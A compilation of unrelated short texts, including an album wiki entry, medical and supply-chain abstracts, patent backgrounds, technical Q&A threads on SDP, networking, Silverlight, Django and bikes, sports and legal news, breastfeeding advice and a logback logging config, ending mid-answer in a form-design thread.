Down the River of Golden Dreams Down the River of Golden Dreams is Okkervil River's second full-length album, released on September 2, 2003. William Schaff continued to create artwork for Okkervil River with this release. The record label Jagjaguwar released the album on CD and vinyl under the catalog number JAG54. Track listing Personnel Band members Will Sheff - Vocals, Guitar, Whirlies Jonathan Meiburg - Vocals, Piano, Hammond organ, Wurlizter, Rhodes, Mellotron, Banjo, Tambourine Zachary Thomas - Vocals, Electric Bass, Mandolin Seth Warren - Vocals, Drums, Whirlies Michi Aceret - Viola Geoffrey Hershberger - Cello Thomas Heyman - Pedal steel guitar Alan Molina - Violin John Vanderslice - Bells The First National Brass Katie Curran - Trombone Dan Eastwood - Trumpet Graham Taylor - Trumpet Technical personnel Okkervil River - Producer Scott Solter - Recording Billy Stull - Mastering Cover Art - William Schaff Darius Van Arman - Layout and Design External links Album summary by Okkervil River "It Ends With a Fall" music video References Category:2003 albums Category:Okkervil River albums

Widening Disparities In Infant Mortality And Life Expectancy Between Appalachia And The Rest Of The United States, 1990-2013. Appalachia-a region that stretches from Mississippi to New York-has historically been recognized as a socially and economically disadvantaged part of the United States, and growing evidence suggests that health disparities between it and the rest of the country are widening. We compared infant mortality and life expectancy disparities in Appalachia to those outside the region during the period 1990-2013. We found that infant mortality disparities widened for both whites and blacks, with infant mortality 16 percent higher in Appalachia in 2009-13, and the region's deficit in life expectancy increased from 0.6 years in 1990-92 to 2.4 years in 2009-13. The association between area poverty and life expectancy was stronger in Appalachia than in the rest of the United States. We found wide health disparities, including a thirteen-year gap in life expectancy among black men in high-poverty areas of Appalachia, compared to white women in low-poverty areas elsewhere. Higher mortality in Appalachia from cardiovascular diseases, lung cancer, chronic lower respiratory diseases or chronic obstructive pulmonary disease, diabetes, nephritis or kidney diseases, suicide, unintentional injuries, and drug overdose contributed to lower life expectancy in the region, compared to the rest of the country. Widening health disparities were also due to slower mortality improvements in Appalachia.

Home users, especially Apple fans who own 802.11ac-enabled devices, will love the new AirPort Extreme for its all-new elegant design, ease of use, and great performance; advanced users should look elsewhere for more features and customization.

Claim: During the Bharatiya Janata Party (BJP)-led National Democratic Alliance (NDA) regime, India had three years of current account surplus. Who: BJP Rajya Sabha member and spokesperson Piyush Goyal When: On 29 September on Twitter Check: He is right During the three-year period from 2001-02 to 2003-04 of the NDA regime, the country had a current account surplus of 0.7%, 1.2%, 2.3% of gross domestic product, respectively. Subscribe to Mint Newsletters * Enter a valid email * Thank you for subscribing to our newsletter. Share Via

Women should stay away from places where they may be targeted: Azam Khan on Rampur molestation RAMPUR: After a video of two women being molested by a group of men in broad daylight in Uttar Pradesh’s Rampur district went viral on social media triggering an outrage in the state, Samajwadi Party leader Azam Khan fanned the controversy by saying girls should avoid places where they may be molested.“Molestation, misbehaviour with women, loot, dacoity and murder have become the order of the day. Before the assembly polls, I had warned the voters of the consequences of voting for the BJP. I had urged them to keep in mind the perfect rule of the SP... I had said if the BJP was given a chance, law and order will worsen,” he told reporters.The SP leader claimed that women in the state were not safe ever since the BJP government took over. Khan advised the parents of the girls to realise the “gravity of the situation.” “For the safety of your prestige, keep your daughters inside the houses under strict vigil,” he said.Khan’s son Abdullah Azam is an MLA from Swar-Tanda assembly seat where the incident was reported.Reacting to his statement, state minorities affairs minister Baldev Singh Aulakh said, “That’s the reason why the people of the state had ousted the SP regime from power. Azam Khan should apologise for his insensitive comment.” Aulakh said that he wants the police to book the accused under the Gangster Act. and ensure that they get strict punishment. “Harassment of women will not be tolerated under the Yogi Adityanath government,” he added.In December 2016, Azam Khan had to tender an unconditional apology in the Supreme Court for calling the Bulandshahr gangrape incident "a political conspiracy".The former minister had raked controversy by saying that investigative agencies should explore the possibility of an opposition party being involved in the rape of a mother and daughter in Bulandshahr. Calling his statement “objectionable and insensitive”, a bench comprising justices Dipak Misra and C Nagappan had observed, "Why should people in power and authority make such statement which shakes faith of victim in justice delivery system?”

Q: Help with Dual problem in SDP I'm having a problem to find the Dual of a Semidefinite programing problem: $$\min\;\;(tr(U)+tr(V))/2$$ $$s.t.\;\; \left[ \begin{array}{cc} U & X \\ X^T & V \end{array} \right]\succeq0$$ $$X_{ij}=M_{ij}\;\;(i,j)\in\Omega$$ Where $tr()$ is the trace operator, $U, V$ and $X$ are the matrix variables of the problem and $M$ is a given matrix. It is known that a general SDP has the followind Primal Dual pair: $$P) \;\; \min \;\; tr(C^TX)$$ $$s.t.\;\; tr(A_{i}^TX)=b_i\;\;i=1,...,m$$ $$X\succeq 0$$ $$D)\;\; \max b^Ty$$ $$s.t.\;\; \sum_{i=1}^{m}A_iy_i + S = C $$ $$S\succeq0$$ But i can't find the way to modify my problem to this form. A: You just need to transform everything into the standard form. Writing the primal problem in the standard form is easy. In fact, we can set $$ C = \left[ \begin{array}{cc} I/2 & 0 \\ 0 & I/2 \end{array} \right], A_k = \left[ \begin{array}{cc} 0 & 1_{ij}/2 \\ 1_{ji}/2 & 0 \end{array} \right], b_k = M_{ij}, \forall (i,j) \in \Omega.$$ Therefore, the dual will be $$ \max ~ tr(Y, M) $$ $$ s.t. ~ \left[ \begin{array}{cc} I/2 & -Y/2 \\ -Y^\top/2 & I/2 \end{array} \right] \succeq 0$$ where $M$ is a matrix whose elements are zero if $(i,j) \notin \Omega$ otherwise $M_{ij}$.

Nuclear Factor Kappa B: A Potential Target to Persecute Head and Neck Cancer. Despite the consistent and significant advancements made in the treatment of head and neck cancer (HNSCC), it remains one of the most devastating cancers globally killing approximately 350,000 people every year. Both clinical and basic research revealed that the transcription factor NF-κB, is constitutively expressed in HNSCC and this persistent expression of NF-κB is the root cause of this disease resulting in cancer cell proliferation, survival, invasion, metastases and poor survival of patients. Activation of NF-κB is pragmatic in most of the premalignant dysplastic lesions indicating it as an early episode in malignant transformation of this disease. Therefore, therapies designed to inhibit or block the activity of NF-κB, would result in downregulation of key cellular processes involved in tumor growth and its dissemination to metastatic sites. In addition, substantial evidences have revealed that NF-κB plays an indispensable role in the development of both chemo and radiation resistance in HNSCC which is identified to be a primary cause for the failure of therapies. This shows the potential of targeting NF- κB in developing therapies against this disease. This review summarises the role of NF-κB in the development of HNSCC and the potential of using NF-κB as a target to develop novel highly effective therapies for this disease.

Suspending systems for suspending solid particles in liquid compositions have been employed in specific types of cleaning and personal care compositions in the past. For example, suspending systems comprising surfactant phases and/or surfactant structuring liquids have been incorporated into liquid detergent compositions. Examples of such surfactant-based suspending systems are described in EP 442 549 B1, U.S. Pat. No. 4,828,747, EP 160 342 B2, EP 386 566 A1, U.S. Pat. No. 5,391,324, EP 668 903 and 5,409,632, which all deal with the suspension of preformed poorly water soluble peracids using surfactant phases. Such surfactant phases are made using (i) one or more nonionic surfactants (low electrolyte) or (ii) combinations of anionic and/or nonionic surfactants with fatty acids and/or electrolytes. GB 2279660 describes the use of xanthan gum as a suspending agent for solid particles in a liquid detergent product. More specifically, GB 2279660 discloses a stable, pourable aqueous liquid laundry detergent composition comprising xanthan gum (a polysaccharide polymer) for phase stability, along with a specific pH jump system for cleaning performance and product bleach stability, in a peroxyacid-containing suspension. This is accomplished without the use of a stability enhancing polymer which is a copolymer of a hydrophobic and a hydrophilic monomer. U.S. Pat. Nos. 4,992,194 and 5,073,285, both Liberati et al, issued Feb. 12, 1991 and Dec. 17, 1991, respectively, describe aqueous structured heavy duty liquid detergent formulations which contain solid, particulate, substantially water-insoluble organic peroxyacid, surfactant combinations, pH adjusting systems, and selected decoupling polymers. U.S. Pat. No. 4,879,057 to Dankowski et al, issued Nov. 7, 1989 discloses aqueous bleaching suspensions including peroxycarboxylic acid suspended in a carrier liquid in the presence of an organic thickening agent and of an acidifying agent. The suspensions contain agar or xanthan polysaccharide as a thickening agent, and a hydrate-forming neutral salt. It is well known that aqueous liquid laundry detergent products which contain suspended solids such as solid, substantially water-insoluble peroxyacid can have phase stability problems, particulary across the varying environmental temperatures to which such products may be exposed. A further problem is product and wash pH, since low product pH is required for bleach stability while alkaline wash pH is advantageous for cleaning and bleaching efficacy (see U.S. Pat. No. 4,259,201, Cockrell). Additionally, when product detergent surfactant levels are increased in such compositions for better cleaning and bleaching performance, product viscosity often increases to unacceptable levels. Lastly, suspensions of solid particulates, especially peroxycarboxylic acids, often times are plagued by eye irritation problems. However, the use of polymeric stabilization systems of the present invention, especially ethoxylated polymers and/or low levels (<1%) of ethoxylated nonionics in aqueous liquid detergent compositions to stabilize solid particles, such as substantially water-insoluble peroxycarboxylic acids and/or to reduce eye irritation of the compositions is not known, nor has it been suggested in the prior art. Accordingly, there is a need for an aqueous liquid detergent composition comprising one or more particulate solids such as peroxycarboxylic acids (“peracid”) and a polymeric stabilization system, and a method for laundering fabrics using such a composition.

The background description provided herein is for the purpose of generally presenting the context of the disclosure. Work of the presently named inventors, to the extent it is described in this background section, as well as aspects of the description that may not otherwise qualify as prior art at the time of filing, are neither expressly nor impliedly admitted as prior art against the present disclosure. Throughout the world, military and homeland security forces face an increasing need to provide safety and security to troops and high-value assets. Wireless surveillance systems are emerging as a way of meeting this need. However, when developing a communications system for military application, a variety of obstacles need to be overcome. For example, remotely located wireless surveillance systems often include video recording devices that may rapidly consume limited power resources. Generally, however, remotely located portions of wireless surveillance systems should be configured to operate in a manner that conserves power resources.

Q: r8168 not negotiating gigabit speeds in 18.04 I just upgraded from 16.04 to 18.04 on my main desktop machine. I've got an r8168 network card. I got gigabit speeds in 16.04 and now am now only getting 100Mbps in 18.04. I've tried both the r8169 and r8168-dkms drivers. After doing the upgrade, I've swapped network cables and switches to ensure this isn't a hardware problem. The NIC is the on-board NIC for an MSI x370 Gaming Plus motherboard. Unfortunately, I don't have this debug information from 16.04; the below is from after the upgrade to 18.04. $ sudo lshw -C network *-network description: Ethernet interface product: RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller vendor: Realtek Semiconductor Co., Ltd. physical id: 0 bus info: pci@0000:1e:00.0 logical name: eth0 version: 15 serial: 30:9c:23:0c:9a:94 size: 100Mbit/s capacity: 1Gbit/s width: 64 bits clock: 33MHz capabilities: pm msi pciexpress msix bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation configuration: autonegotiation=on broadcast=yes driver=r8168 driverversion=8.045.08-NAPI duplex=full ip=192.168.1.2 latency=0 link=yes multicast=yes port=twisted pair speed=100Mbit/s resources: irq:46 ioport:f000(size=256) memory:fd604000-fd604fff memory:fd600000-fd603fff $ sudo ethtool eth0 Settings for eth0: Supported ports: [ TP ] Supported link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Full Supported pause frame use: No Supports auto-negotiation: Yes Supported FEC modes: Not reported Advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Full Advertised pause frame use: No Advertised auto-negotiation: Yes Advertised FEC modes: Not reported Speed: 100Mb/s Duplex: Full Port: Twisted Pair PHYAD: 0 Transceiver: internal Auto-negotiation: on MDI-X: Unknown Supports Wake-on: pumbg Wake-on: g Current message level: 0x00000033 (51) drv probe ifdown ifup Link detected: yes $ lsmod | grep r816 r8168 524288 0 $ dmesg | egrep '(eth0)|(r816)' [ 1.036881] r8168: loading out-of-tree module taints kernel. [ 1.037195] r8168: module verification failed: signature and/or required key missing - tainting kernel [ 1.037822] r8168 Gigabit Ethernet driver 8.045.08-NAPI loaded [ 1.052489] r8168: This product is covered by one or more of the following patents: US6,570,884, US6,115,776, and US6,327,625. [ 1.052496] r8168 Copyright (C) 2017 Realtek NIC software team <nicfae@realtek.com> [ 42.034465] eth0: 0xffffa7790007d000, 30:9c:23:0c:9a:94, IRQ 46 [ 42.087610] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready [ 47.210737] r8168: eth0: link up [ 47.210752] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready # note: did ethtool -r eth0 here [ 180.421766] r8168: eth0: link down [ 185.588203] r8168: eth0: link up A: This has just happened to me, too. I suspect this could be caused by bad NIC drivers that sometimes Ubuntu loads by default, which trap the hardware in states it can't get out of alone. According to this troubleshooting forum, doing a cold reboot of your PC (plugging off the AC cable for 5 minutes and then turning it on back again) clears possible bad states of your network card and could fix this issue. Keep in mind that with faulty drivers this issue could happen again randomly, or forever. You should always use the most appropiate drivers for your NIC. In your case, as your motherboard manufacturer says, you have a Realtek® 8111H chip, so downloading the specific drivers from the Realtek website and using them seems worth trying.

Introducing... Your Bed Bath We created a new page on our site that provides product recommendations for Login/Cache Customer activity based upon your recent activity. For a non logged in user Bed Bath curates an array of recently trending content. We hope it becomes your favorite destination on Bed Bath & Beyond. Create a beautiful outdoors getaway in your home with the Winter's Air duvet cover. This luxuriously soft 300-thread-count 100% cotton bed features an allover nature-inspired print in a beautiful teal/grey color palette with metallic accents throughout. This Winter's Air Beaded Square Toss Pillow features a beautiful metallic feather motif with beaded accents that coordinates perfectly with the soft, nature-inspired look of the Winter's Air duvet cover collection.

Q: How do I get DependencyProperty to work in Silverlight? I'm trying to bind using a DependencyProperty, but I can't even get the DependencyProperty to work let alone try to bind to it. I'm following a silverlight guide and up to this point I'm supposed to be able to set the property using XAML. Here is the code I have so far: MainPage.xaml: <UserControl xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:local="clr-namespace:UserControlSample" x:Class="UserControlSample.MainPage" mc:Ignorable="d" d:DesignHeight="300" d:DesignWidth="400"> <Grid x:Name="LayoutRoot" Background="White"> <local:InfoRectangle Margin="32,36,0,0" HorizontalAlignment="Left" Height="70" VerticalAlignment="Top" Width="122" InfoText="New Text"/> <local:InfoRectangle Margin="105,139,188,97" InfoText="some text" /> </Grid> InfoRectangle.xaml: <UserControl xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:sdk="http://schemas.microsoft.com/winfx/2006/xaml/presentation/sdk" mc:Ignorable="d" x:Class="UserControlSample.InfoRectangle" d:DesignWidth="122" d:DesignHeight="70"> <Grid x:Name="LayoutRoot"> <Rectangle Fill="#FFABABE9" Stroke="Black" RadiusY="4" RadiusX="4"/> <TextBlock Name="InfoLabel" Text="Text block" Margin="5" /> </Grid> InfoRectangle.xaml.cs: using System; using System.Windows; using System.Windows.Controls; using System.Windows.Documents; using System.Windows.Ink; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Animation; using System.Windows.Shapes; namespace UserControlSample { public partial class InfoRectangle : UserControl { public InfoRectangle() { // Required to initialize variables InitializeComponent(); } public string InfoText { get { return (string)GetValue(InfoTextProperty); } set { SetValue(InfoTextProperty, value); } } public static readonly DependencyProperty InfoTextProperty = DependencyProperty.Register( "InfoText", typeof(string), typeof(InfoRectangle), new PropertyMetadata("something", InfoTextChanged)); private static void InfoTextChanged(DependencyObject d, DependencyPropertyChangedEventArgs e) { } } } When I run the solution the two rectangles show up but they display just "Text block" which is neither the default set or the value set in the MainPage XAML for the user controls. A: Here is the solution; It seems the callback method has to be completed. private static void InfoTextChanged(DependencyObject d, DependencyPropertyChangedEventArgs e) { ((InfoRectangle)d).InfoLabel.Text = e.NewValue.ToString(); }

The ability to detect the “shift in the phase” of consecutive pulses of electromagnetic energy allows a Doppler radar to detect motion. The phase of the returning signal changes based upon the motion of targets with respect to the radar. A radar processor measures the phase change of the reflected pulses of energy and then converts that change to a velocity of the object, either toward or from the radar. Doppler processing requires pulse-to-pulse phase coherency over a series of many pulses to make this measurement. Most radar designs co-locate the transmit and receive functions so they can share a timing reference to maintain coherency. In some radars, the transmit and receive functions are distributed functions. Successful radar ranging and motion detection typically requires the sharing of high bandwidth timing signals using coaxial cables which can be very sensitive to small variations and difficult to maintain. Doppler radar generally has employed shared clocks in a transmitter and receiver in addition to a timing pulse, generally denoted as T0, which simultaneously triggers the transmission of a pulse and the start of radar echo signal collection. All pulse radars require precise knowledge of the transmit time, T0, and the target echo receive time to determine the target range. This requires that the T0 signal itself and the transmit and receive processes that follow must be accurate and repeatable to within 1 cycle of the shared reference clock. Any deviation from an identical interval degrades the ability to detect small phase shifts in the received echoes from pulse to pulse. For example, a 64 MHz shared clock this means a precision of better than 15.625 nanoseconds. Clock jitter, i.e. timing variations caused by phase noise, on an analog-to-digital, or A/D, clock signal in a Doppler radar has a direct effect on the performance of the Doppler radar due to phase errors in the received signal. For example, a sampled 48 MHz intermediate frequency signal will have phase errors of 1 degree if the A/D sample jitter is as small as a variation of 58 picoseconds. The effect of clock jitter on a sample is to degrade the signal-to-noise ratio commonly denoted as SNR of the A/D converter. For many systems, clock jitter is the largest portion of the A/D SNR budget and if controlled, has a great influence on performance of a Doppler radar. There is a need for removing clock jitter in synchronizing a receiver and transmitter for a radar installation. Traditionally, a timing signal of sufficient resolution must include a very steep onset of the timing pulse to render a very precise timing. Including many of the high harmonics is necessary to lend precision to the signal and therefore high bandwidth is necessary to convey a suitable timing signal. The high bandwidth requires either that the design of the radar collocates the transmit and receive functions or increases the system cost with a high bandwidth communication link between the transmitter and receiver functions. Thus, there is an unmet need in the art for a synchronization system that removes the need for a timing signal with a very steep onset.

Q: Django: Sum on an date attribute grouped by month/year I'd like to put this query from SQL to Django: "select date_format(date, '%Y-%m') as month, sum(quantity) as hours from hourentries group by date_format(date, '%Y-%m') order by date;" The part that causes problem is to group by month when aggregating. I tried this (which seemed logical), but it didn't work : HourEntries.objects.order_by("date").values("date__month").aggregate(Sum("quantity")) A: aggregate can only generate one aggregate value. You can get the aggregate sum of Hours of the current month by the following query. from datetime import datetime this_month = datetime.now().month HourEntries.objects.filter(date__month=this_month).aggregate(Sum("quantity")) So, to obtain the aggregate values of HourEntry's all the months, you can loop over the queryset for all the months in the db. But it is better to use the raw sql. HourEntries.objects.raw("select date_format(date, '%Y-%m') as month, sum(quantity) as hours from hourentries group by date_format(date, '%Y-%m') order by date;")

Aerides, Athens Aerides ( ) is a small neighborhood of Athens, Greece surrounding the Tower of the Winds, from where it takes its name. It is a subdivision of Plaka. History Aerides was considered the centre of Athens during the reign of King Otto (1832-62). A market was located here and the so-called 'Plane Tree Square' (πλατεία του πλατάνου) which was a barracks in which the Bavarian Army camped. Aiolou Street starts at the small park in which the Tower of the Winds is located and at the crossroads with Ermou Street was where most of the city's commercial traffic gathered. To the north, a market called Abatzidika opened, dealing in coarse fabrics. The Madrasa of Athens (Μεντρεσές Αθηνών) is found on the north side of the park in which the Tower is located. This Islamic holy school became a prison during Otto's reign. Those who were being executed used to greet the plane tree in the adjacent square named after it. This is the origin of the Greek phrase "Greet the plane tree for us" (χαιρέτα μας τον πλάτανο), said when someone doesn't believe what the speaker has said will happen. With the move of military quarters elsewhere, over time this once busy neighbourhood became quiet. On 1 May 1965, Aerides became part of Plaka, which it remains to the present day. Aerides Bath The Aerides Bath (Λουτρό των Αέρηδων) is a Turkish bath left over from the Ottoman rule. The bath remained opened until 1965. Transport Monastiraki metro station on Line 1 and Line 3 is the nearest station of the Athens Metro. References Category:Neighbourhoods in Athens

A Swiss asset manager, who allegedly helped move secret bank accounts from the Swiss bank UBS to a smaller Swiss bank when UBS came under IRS scrutiny, was indicted on Tuesday in south Florida on charges of conspiring to defraud the US government. Martin Lack of Lack & Partner Asset Management AG in Zurich was charged with conspiring with his America-based clients to defraud the US government by helping his customers hide assets and evade paying federal taxes. He allegedly agreed to open and maintain secret bank accounts at a regional bank in Switzerland for US-citizen customers seeking to avoid the IRS. Mr. Lack worked at the Swiss banking giant UBS until 2003 when he opened his firm. The indictment says that Lack solicited US customers to open undeclared accounts at UBS and, later, at Cantonal Bank in Basel. When US officials began an intense investigation of secret banking at UBS, he helped some clients move their accounts to Cantonal Bank, the indictment says. Later, as the investigation of UBS intensified, Lack encouraged his customers not to cooperate with US investigators. He also urged them not to take advantage of a voluntary disclosure program offered by the IRS in 2009. Lack provided some of his clients with a pre-paid cell phone and instructed them to only use that phone to contact him. The move was an apparent effort to avoid law enforcement surveillance and monitoring of telephone lines. One client was advised in November 2010 that he had nothing to worry about since the client’s former UBS account was being held as cash in Lack’s office safe. “There is no paper trail because the money [was] put [in] cash,” a Lack associate, Renzo Gadola, told a Mississippi-based customer, according to the indictment. “You have no link to UBS whatsoever, so 99.9 percent you have nothing to worry about,” Mr. Gadola told the client. What Gadola did not know was that federal agents were monitoring his activities. Gadola was arrested two days later. He pled guilty in December 2010 to conspiring to defraud the US government. He is scheduled to be sentenced in November. The 22-page indictment recounts Lack’s alleged involvement with nine US-based customers. They were from Mississippi, Texas, two from Illinois, two from Florida, New Mexico, Massachusetts, and California. Lack is the only defendant listed in the indictment. His banking contact at Cantonal Bank is identified as an unindicted co-conspirator. If convicted, Lack faces a sentence of up to five years in prison and a $250,000 fine.

Low Milk Production What causes low milk production? Occasionally, a delay in the time when milk "comes in" turns into an ongoing problem with low milk production. Sometimes, a mother has been producing sufficient amounts of milk, and then milk production slowly, or quite suddenly, decreases. Some of the conditions associated with a delay may also have an ongoing effect on milk production, including, but not limited to, the following: severe postpartum hemorrhage (excessive bleeding) retained placental fragments thyroid conditions Mothers with previous breast surgery that cut some of the nerves, milk-making tissue, or milk ducts, may have difficulty producing enough milk to fully feed a baby. Other factors can also lead to insufficient milk production. Maternal smoking has been shown to result in less milk. Some medications and herbal preparations have a negative effect on the amount of milk produced. Hormonal forms of birth control, especially any containing estrogen, have been found to have a big impact on milk production. However, some mothers report a drop in milk production after receiving/taking a progestin-only contraceptive during the first four to eight weeks after delivery (postpartum). Milk production may also decrease if you become pregnant again. If insufficient milk production seems to be a problem, yet the baby seems to be sucking effectively, your physician or certified lactation consultant (IBCLC) may recommend the following: Increase the number of breastfeedings to 10 to 12 in 24 hours. Increase the amount of skin-to-skin contact you have with your baby. Take off your shirt and baby's shirt and place your baby on your chest with a sheet or shirt over both of you. A review of your health history with you to discover if there may be a health condition, treatment, or medication interfering with milk production. You also may want to: pump your breasts for several minutes after breastfeeding, using a hospital-grade electric breast pump. ask your physician or a certified lactation consultant (IBCLC) about taking a galactogogue, which is a medication or an herbal preparation found to have a positive effect on milk production. Think positive. Although insufficient milk production usually can be reversed, any amount of milk you produce is valuable for your baby. Try to remember that your baby is 25 to 90 percent breastfed rather than feel discouraged that he/she is also receiving a breast milk substitute.

<configuration> <property name="LOG_DIR" value="${LOG_DIR:- /tmp/datahub/logs}"/> <timestamp key="bySecond" datePattern="yyyy-MM-dd'_'HH-mm-ss"/> <timestamp key="byDate" datePattern="yyyy-MM-dd"/> <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender"> <layout class="ch.qos.logback.classic.PatternLayout"> <pattern>%d{HH:mm:ss} [%thread] %-5level %logger{36} - %msg%n</pattern> </layout> </appender> <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender"> <file>${LOG_DIR}/datahub-frontend-${bySecond}.log</file> <append>true</append> <encoder> <pattern>%d{HH:mm:ss} [%thread] %-5level %logger{36} - %msg%n</pattern> </encoder> <rollingPolicy class="ch.qos.logback.core.rolling.FixedWindowRollingPolicy"> <maxIndex>10</maxIndex> <FileNamePattern>${LOG_DIR}/${byDate}.log.%i</FileNamePattern> </rollingPolicy> <triggeringPolicy class="ch.qos.logback.core.rolling.SizeBasedTriggeringPolicy"> <MaxFileSize>20MB</MaxFileSize> </triggeringPolicy> </appender> <root level="info"> <appender-ref ref="STDOUT"/> <appender-ref ref="FILE"/> </root> </configuration>

Information integration is a leading aim for many supply-chain managers. Although the benefits of successful information integration are desirable, the barriers are quite daunting. Our study benchmarks the current status of information integration in supply chain management using indepth case study methodology at five channel positions. The study reveals two main dimensions to information integration: connectivity and willingness. We discuss both of these dimensions’ implications for managers and academics and provide prescriptive direction where research and development should be channeled to facilitate information integration success.

Ray Allen is listed as probable for the Miami Heat on Wednesday however Dwyane Wade remains listed as doubtful Receive the latest sports updates in your inbox Ray Allen and Dwyane Wade have missed four straight games for the Heat The Miami Heat will likely have one more weapon at their disposal on Wednesday night, as Ray Allen is listed as probable to play, according to the team. Allen has missed four straight games with a stomach virus and did not travel with the team on its recent road trip. During that span, the Heat have gone 3-1 while having to rely more on James Jones and Norris Cole. Despite Miami's success without Allen, his return should be noticeable as he leads the team in bench scoring, per Basketball-Reference.com. Allen also gives the Heat a reliable perimeter shooter that changes the inside game for the team. Miami Heat Opening Night in Photos While Allen should be on the court, it appears that Dwyane Wade will not be. It will be the fifth straight game missed for Wade if he's unable to suit up. As of now, the team has stated that Wade is doubtful for the game and only participated lightly in the morning shoot-around. The Heat mentioned that Greg Oden is doubtful as well with continuing back spasms. The center has missed five straight games after playing limited minutes against the Indiana Pacers. If Oden and Wade are unable to start, the Heat will likely turn to Toney Douglas and Udonis Haslem to begin the game. Haslem has done a fine job since being given extra playing time, and could potentially find himself in the rotation come playoff time. The veteran has only played in 39 games this year but has started five of the last seven games for the Heat. As for Douglas, he has started six of the last seven for Miami but has failed to make much of an impact. The Party Inside the AAA Wednesday's game against the Milwaukee Bucks is set for 7:30 p.m. and is the second game in a five-game homestand.

Also Available at RSS Feeds I got into anime years back though, believe it or not, Pokémon. I had recently become a big fan of console RPGs, which led me to play Pokémon Red back on the Gameboy. I quickly got addicted to the game and decided to check out the anime as well. Deciding that it was a whole lot better than most of the other stuff on TV at the time, I ended up trying out a lot of similar shows, such as Digimon. Before long I was hooked on nearly every anime on WB and Fox. Then I found out that Cartoon Network had anime too... Add a ton of different anime and manga, a deep hatred of 4Kids, a bunch of DVDs and fansubs, and one college anime club, and that's where I am now. An avid, though mostly self taught, fan.

Q: 7 speed freewheel I have 7 speed freewheel on Carrera Zelos. I want to upgrade to 8 speed but can t find any freewheel. How do I do it? Its my first road bike as I normally ride downhills and wanted to mix it up especially commuting to and from work and feel it needs better gears/ brakes. It has the shimano tourney set with a TZ500 freewheel. A: Long story - freewheels died off, with the 7 speed freehweel being about the last you could get. 6 and 7 speed freewheels still exist because they're cheap and suit low-price bikes. However as cassettes got wider, the 7 speed was more likely to bend its rear axle on an impact like a pothole or a driveway ramp. The 8 speed design with a freewheel would be worse. from https://en.wikipedia.org/wiki/Bicycle_wheel In the second image, notice how far inboard the bearings are on the drive side. Whereas a more modern freehub has the load spread across the bearings more evenly, with less leverage on the axle. Your only real option to get more gears are to replace almost the entire transmission. That could cost more than a new bike, so not recommended. You will need: cassette chain freehub-based back wheel hub + rebuild of your wheel onto this new hub OR a complete new back wheel replacement right-hand shifter inner and outer cables for rear shifter Additionally you might need: rear derailleur that matches the number of gears bartape Probably you won't need to replace the chainrings or front mech, though some people can't stand having unmatched brake/shift levers on their bike. Add all that up, and it could easily exceed the cost of your bike... consider that your bike retailed last at Halfords for £275 - and even if you spent that much, other parts would still not be new. I would suggest you ride the Carrera as it is, and look to buy an entire new bike. Keep this as your N+1 spare bike, or sell it on to the next person as-is. The only time this kind of upgrade is financially reasonable, is if you have a donor bike with adequate components already. Then you have to make sure the donor has the same OverLocknut Dimension as your existing frame, and so on. It starts getting quite complex.

Q: Has the spontaneous forming of matter been observed? If I understood the accepted answer here correctly,then matter can spontaneously form. But has this ever been observed? A: The answer you cite is somewhat simplified to suit the level of the question. The vacuum does not consist of pairs of particles and anti-particles popping into existence and then disappearing again. When calculating the properties of the vacuum it's true that we use Feynman diagrams showing the creation of particle/antiparticle pairs, but these are virtual (anti)particles that are a computational device. They do not mean particles are literally appearing from nothing. Virtual particles cannot be observed but their effects can. For the vacuum the obvious evidence is the Casimir effect. Since this has been experimentally measured you could regard it as an observation of virtual particles appearing and disappearing, however I must emphasise that the virtual particles are not really particles in the common sense of the word.

Q: How do I get people to stop typing the state into the city field? I have a form with city, state and country fields. The design makes the user select the country, then state, and then if the item is not found, they type the name of the organization, followed by city. Roughly 5% of people type "City Name, ST". e.g. "Boulder, CO" or "Boulder, Colorado". There are cases where a comma makes sense, such as "Brooklyn, New York". Is there any good solution to this problem? Edit: We have 30% international addresses, so zip code tricks don't really work. Update: I like Keno's idea of validating post comma text... show a soft error when there is a comma. A: Try using autocomplete where the user starts typing and gets a list of cities and their corresponding states. Pros: Users never have to type the full name. Users can never misspell a name. Less need of error messages and error handling. Found an API that might help you. A: You can automate the city (and state) field by asking for the user’s ZIP code first. Every code correlates with a specific state and a developer can use a tool / API that will put the right city and state into the fields after the user types in the ZIP code. Automating the city field prevents user mistakes and the time spent to complete the form is shorter. Update: Some comments suggest the automation can fail. Even a lot sites make the user enter their zip code first (see Apple), and then auto-populate the city and state based on it, you can have some issues developing this. Some zip codes can generate a result with multiple cities/towns/etc within them. This means you may need a select/ dropdown with the options from the array of cities and allow the user to select the correct city. Anyway, the country is already selected in this step, so the format for the zip code is known. Also, provide a way for someone to successfully complete this form without the zip code. The suggestion dropdown can have more problems in development, but the idea is good too (an automatic suggestion dropdown as you type your state). This requires more interactions than the first method and this method requires a database of all possible city names. Resources (this is just to see there are a lot of great tools there): 35 zip code APIs Get City Name from Zip Code google geocoding Google Maps APIs A: I would validate everything after a comma in that field and advice:

